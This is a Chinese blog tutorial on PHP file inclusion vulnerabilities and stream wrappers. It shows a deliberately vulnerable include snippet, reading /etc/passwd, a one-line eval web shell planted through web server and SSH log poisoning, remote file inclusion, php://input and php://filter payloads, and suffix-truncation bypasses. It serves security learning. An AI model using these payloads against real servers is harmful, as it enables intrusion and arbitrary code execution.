yemaster的小窝

PHP文件包含漏洞及伪协议

2025-02-24
122

什么是 PHP 文件包含漏洞?

PHP 中,require/require_onceinclude/include_once 这四个函数可以将外部文件(不管文件的类型)当做 PHP 脚本执行。

其中,require/require_once 如果包含过程中出错,则直接退出执行。但是 include/include_once 则只会发出警告。

_once 表示如果文件已经包含过了,则不会再次包含。

最简单的文件包含漏洞

<?php
    highlight_file(__FILE__);
    $file=$_GET['file'];
    include $file;
?>

因为没有对要包含的 $file 进行检测,造成了任意文件读取。比如访问 ?file=/etc/passwd 可以读取敏感文件。如果 flag 在 /flag,那么就可以用 ?file=/flag 直接读取 flag 的内容。

需要注意的是,如果文件内容有 <?php ?> 等 PHP 代码,则代码会被执行而不是直接显示。

漏洞的利用方法

想方设法在靶机上注入恶意代码到某个文件中,然后利用文件包含把这个文件包含,这样恶意代码就会被执行。

比如,假设服务器上有一个文件有一个 a.txt,内容是 <?php phpinfo(); ?>,虽然这个文件是以 .txt 结尾的,但是文件包含也会把它当做 php 代码执行。

所以,文件包含漏洞的首要目的就是想方设法弄出一个文件,其中里面有恶意代码就行了。接下来从 日志文件包含、远程文件 包含两方面讲解。

日志文件包含

将恶意代码写入到日志文件。一些软件会记录访问日志,所以我们只需要构造访问 <?php @eval($_POST[1]); ?> 使其被记录到日志中,再将这个日志文件包含,就可以执行恶意代码。

Nginx/Apache 日志文件包含

Web 服务器一般都会记录访问的链接。当我们将恶意代码放到请求的链接中时,可能会被 Web 服务器记录到日志中。这样,我们只要包含了日志文件,就可以执行恶意代码了。

例如,我们先访问 /index.php/<?php @eval($_POST[1]); ?>,然后发现日志中被写入了一句话木马,包含即可。

注意直接用浏览器访问会进行url编码,所以要用burpsuite直接发包。

  • Apache默认日志位置:/var/log/httpd/access_log
  • Nginx默认日志位置:/var/log/nginx/access.log

SSH日志文件包含

原理同上。SSH 日志默认的路径是 /var/log/auth.log

如果 SSH 开启了日志记录功能,我们把用户名设置成恶意的代码,这样恶意的代码就会被写于日志。

比如,我们执行 ssh “<?php @eval($_POST[1]);?>”@xx.xx.xx.xx,这样,恶意代码就能被写入日志中。

远程文件包含

php 中,如果设置了 allow_url_fopen=onallow_url_include=on,那么就可以包含远程文件。

我们首先在自己的服务器上新建文件 a.txt,内容是恶意代码。假设这个文件的访问路径是 http://xxx/a.txt,这样我们包含这个链接时,就可以执行恶意代码。

PHP 伪协议

PHP 带有很多内置的 URL 风格的封装协议。文件包含和文件读取时除了可以使用正常的文件名,也可以使用 PHP 伪协议,当采用 PHP 伪协议时,最终读取到的文件内容便是相应协议所产生的结果。

file_get_contents 是直接读取对应的值,而 include 之类的就是将对应的值当 php 代码执行了。

常见的有如下伪协议:

  • php://
  • file://
  • data://
  • phar://

在设置允许的情况下,还可以用 http://,这其实和我们访问网站一样了,php 会从远程服务器读取内容并返回结果。

php://input

php://input 可以访问请求的原始数据。即没有处理过的POST请求数据。我们设置包含的文件是 php://input,然后让 POST 请求的内容成为恶意代码。这样子恶意代码就会被文件包含当做 PHP 代码执行。

例如,执行 PHP 代码:include("php://input"),然后 POST 的数据是 <?php phpinfo(); ?>。首先 include 会包含对应文件的内容并当成 php 代码执行,而 php://input 这个“文件”的内容就是 POST 数据,也就是 <?php phpinfo(); ?>,那么包含进来就会执行 phpinfo 了。

另外,如果题目有判定某个文件内容等于某个值,也可以用这个。例如题目要求 file_get_contents($_GET["file"])=='abc',也就是我们需要找到一个文件内容是 abc。从真实的文件中很难找到,但是如果我们让 $_GET["file"]="php://input",这样子就是读取 POST 数据了,我们让 POST 数据是 abc,就满足条件了。

php://input、php://stdin、php://memory 和 php://temp 需要开启 allow_url_include。

php://filter

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。

例如 php://filter/read=convert.base64-encode/resource=xxx.php 得到的是 xxx.php 用 base64 编码之后的结果。

前缀名称后加内容描述
resource=要过滤的数据流指定要过滤的数据流
read=读链的筛选器列表参数可选,可设定一个或者多个筛选器名称,以管道符(竖线)分隔
write=写链的筛选器列表参数可选,可设定一个或者多个筛选器名称,以管道符(竖线)分隔
两个链的筛选器列表没有用read=或者write=做前缀的筛选器列表会是轻快应用于读或者写

数据封装流data://,用于数据流的读取。

使用方法: data://text/plain;base64,xxxxx。得到的结果是 xxxxx 经过 base64 解码之后的内容。

例如 file_get_contents("data://text/plain;base64,YWJjZGVmZw==") 的结果是 abcdefg

用这种方式,可以绕过一些过滤。


其余的伪协议可以参考网上教程

简单绕过方法

指定后缀绕过

方法1

操作系统存在着最大路径长度的限制。可以输入超过最大路径长度的目录,这样系统就会将后面指定的后缀丢弃,导致拓展名截断。Windows下最大路径长度为256B,Linux下最大路径长度为4096B

方法2 %00截断

这个漏洞的使用必须满足如下条件

magic_quotes_gpc=off

PHP版本低于5.3.4

大小写绕过

比如如果不能使用php://input,那么可以考虑用Php://input

分类标签:php 文件包含

下一篇

没有了
Comments

目录